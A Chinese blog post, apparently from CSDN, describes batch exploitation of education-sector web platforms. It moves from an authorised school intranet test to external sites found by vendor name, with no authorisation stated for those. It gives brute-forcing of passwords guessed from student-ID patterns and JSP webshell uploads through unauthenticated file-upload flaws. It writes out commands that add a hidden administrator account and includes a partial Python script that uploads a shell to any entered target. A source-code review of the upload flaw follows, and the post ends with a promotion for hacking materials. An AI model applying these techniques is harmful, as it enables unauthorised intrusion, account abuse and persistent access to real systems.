• 批量挖漏洞(从内网到外网、从白盒到黑盒)


    **前言:**此次挖洞较为基础,分析得不足的地方望大佬指正。
    内网挖洞:
    建议像我这样入门不久的可以拿自己学校内网练练手先(得授权),再在在教育行业SRC等漏洞平台上挖掘漏洞,赢得认可,获取些动力。<大佬的当我没说 0.0>
    向信息中心的老师申请了对学校进行内网渗透测试的授权之后,便开始信息收集(亮神说的:渗透的本质是信息收集)。
    因为在工作室辅助运维也知道服务器多在10.x.x.0/24这网段,这里我用Goby对该网段收集存活ip和端口。(因为真实ip可以绕过waf所以可以放开扫,当然其它大学就不一定了)
    在这里插入图片描述
    内网一堆漏洞emm,然后就可以用大佬的webalivescan批量扫一下Goby得的存活ip,获取标题,web指纹识别和简单的爆破一些目录
    工具地址:https://github.com/broken5/WebAliveScan
    然后先挑带登录标题的,目录扫描到登录的或敏感目录的软柿子开干,发现xx教学平台
    在这里插入图片描述
    没有验证码爆破,当然有的有验证码也可能虚的,根据自己学号推测 ,
    例如 2018xx 一般是根据 入校年数+专业+班级+xx来设定的,爆破后4位得到弱口令:
    2018xx 123456
    然后常规的:xxx–>控制面版–>上传头像–>Getshell。
    当然很多jsp马都没兼容,试了挺多这大佬的jsp马才成功
    地址:https://github.com/threedr3am/JSP-Webshells
    在这里插入图片描述
    直接administrator权限,提权都省了
    外网批量:
    上面图有:技术支持:xx公司
    FOFA搜索关键词:xxx有限公司
    在这里插入图片描述
    然后挑一个站,爆破,xx学校,学号通过谷歌语法来搜集。
    如果收集不到,大多学校学号是如下规律:
    2001 0077 入学的时间+报到位次
    2018 031 01 05 入校年数+专业+班级+xx
    2018 1 17 001 入学年+1本科学生+17xx招生专业代号,001这专业第一个学生。
    爆破失败,才恍然大悟,可能未授权文件上传呢。
    于是在burp将HOST地址改成目标的地址,发送数据包

    在这里插入图片描述
    一发入魂,成功上传图片,改jsp也没问题,欧克妥妥的未授权文件上传!
    该网站Getshell后尝试3389登录:
    net user mstlab mstlab /add : 添加用户并设置密码
    net localgroup administrators mstlab /add : 将用户加入管理组
    登录后在其桌面翻到敏感信息:测试账号和默认密码
    在这里插入图片描述
    同时这只是该公司的一个系统,又扩展到其它系统:(也大多成功上传)
    在这里插入图片描述
    但有些系统还是不行,于是用测试账号登录发现这些系统的第二处未授权文件上传,很老的FCKedito,可运行哥斯拉马
    在这里插入图片描述
    至此该公司的系统基本通杀

    Exploit编写:
    当然少量写个html文件上传就ok了,这里较多站就写个一键返回shell脚本。下面的已脱敏

    import requests
    # 读取webshell文件,
    file = open('shell.txt', 'r',encoding='utf-8')
    shell = file.read()
    #shell=""" <%  out.println("just4test!"); %>  """
    headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"}
    cookies={"JSESSIONID":"4F0ADEADB70AD18922C8C436837A5A3D", }
    # 输入目标
    url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")
    # 定义上传目录
    upload_url = url+"/xxx?action=xx"
    #file参数files = {'file1': ('1.png', open('logo.png', 'rb'), 'image/png')}
    files = {'file': ("shell.jsp", shell, "image/png")}
    # 参见post内容
    upload_data = {"start": "forum_update_set", "forum_update_set": "updatacord", "forum_nick": "11", "forum_signature": " ", 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    白盒审计:
    最近刚好入门了java web开发,虽然Getshell了,但也得了解漏洞原理吧。于是就打包源码,代码审计一下,看一下漏洞原理
    源码一般在Tomcat 的 webapps 目录或者
    Tomcat 下的 conf 目录\Catalina\localhost\ 下的配置文件
    有自定义源码工程路径:如abc.xml内容:

     
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    访问这个工程的路径如下:http://ip:port/abc/ 就表示访问 E:\book 目录
    然后我在Tomcat 的 webapps 找到源码并用哥斯拉的打包
    在这里插入图片描述
    第一个文件上传:
    首先查看web.xml,看看全局的配置以及路由,先看filter过滤,可以看到filter类QDKFilte的位置
    在这里插入图片描述
    但我们的源码没有对应的java文件或者类,便看java依赖有对应的java包xxx.jar
    反编译用IDEA的插件“Java Bytecode Decompiler”,插件安装使用可自行百度
    在这里插入图片描述
    反编译成功后得到对应xx.jar,注意要解压生成的jar包,即可得到java源码
    然后filter类QDKFilte代码经过混淆,太烦杂,太多了并没找到session如何验证。。。。大佬请勿喷0.0我是菜鸡!!!
    在这里插入图片描述
    然后文件上传漏洞web.xml可以看到文件上传的类
    在这里插入图片描述
    var13从全局函数获取传递的参数和值
    在这里插入图片描述
    然后getFileExtendName(var13)直接获取后缀名并直接拼接起来,然后创建文件
    在这里插入图片描述
    跟进getFileExtendName()是直接获取后缀的
    在这里插入图片描述
    第二个文件上传漏洞的上传路径是
    http:/ip:8080/xxx/FCKeditor/editor/xxx/jsp/upload.jsp

    找到对应的文件:
    和上面的类似用getFileExtendName()直接获取后缀的然后拼接没白黑名单

    下面我准备了很多网络安全&黑客学习资料,如果你对网络安全感兴趣可以免费分享哦~
    在这里插入图片描述
    vx扫描下方二维码即可领取了

  • 相关阅读:
    如何使用 二次号查询API
    Windows 内网渗透之攻击域控
    Notepad++ 常用
    使用GDIView工具排查GDI对象泄漏问题(常用分析工具)
    如何使用 Puppeteer 避免机器人检测?
    PySpark数据分析基础:pyspark.mllib.regression机器学习回归核心类详解(一)+代码详解
    如何在大学推广小程序?
    IBM LSF 任务调度系统的主要术语和概念
    Vue2(十一):脚手架配置代理、github案例、插槽
    Nodejs http模块常用方法
  • 原文地址:https://blog.csdn.net/text2206/article/details/133826179